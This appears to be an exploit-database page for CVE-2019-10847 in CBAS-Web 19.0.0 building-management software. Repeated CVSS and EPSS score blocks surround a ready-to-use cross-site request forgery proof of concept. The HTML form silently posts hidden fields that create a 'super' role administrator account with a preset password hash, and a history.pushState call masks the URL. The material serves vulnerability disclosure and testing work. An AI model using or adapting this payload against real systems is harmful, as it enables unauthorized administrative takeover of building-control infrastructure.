6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.9 High
AI Score
Confidence
High
0.004 Low
EPSS
Percentile
72.5%
# Exploit Title: CBAS-Web 19.0.0 - Cross-Site Request Forgery (Add Super Admin)
# Google Dork: NA
# Date: 2019-11-11
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
# Software Link: https://www.computrols.com/building-automation-software/
# Version: 19.0.0
# Tested on: NA
# CVE : CVE-2019-10847
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
<!-- CSRF Add Super Admin -->
<html>
<body>
<script>history.pushState('', 't00t', 'index.php')</script>
<form action="http://192.168.1.250/cbas/index.php?m=users&a=user_add_p" method="POST">
<input type="hidden" name="username_" value="Sooper" />
<input type="hidden" name="first" value="Mess" />
<input type="hidden" name="last" value="O'Bradovich" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password_" value="" />
<input type="hidden" name="notes" value="CSRFed" />
<input type="hidden" name="group_id" value="0" />
<input type="hidden" name="role" value="super" />
<input type="hidden" name="md5password" value="179edfe73d9c016b51e9dc77ae0eebb1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.9 High
AI Score
Confidence
High
0.004 Low
EPSS
Percentile
72.5%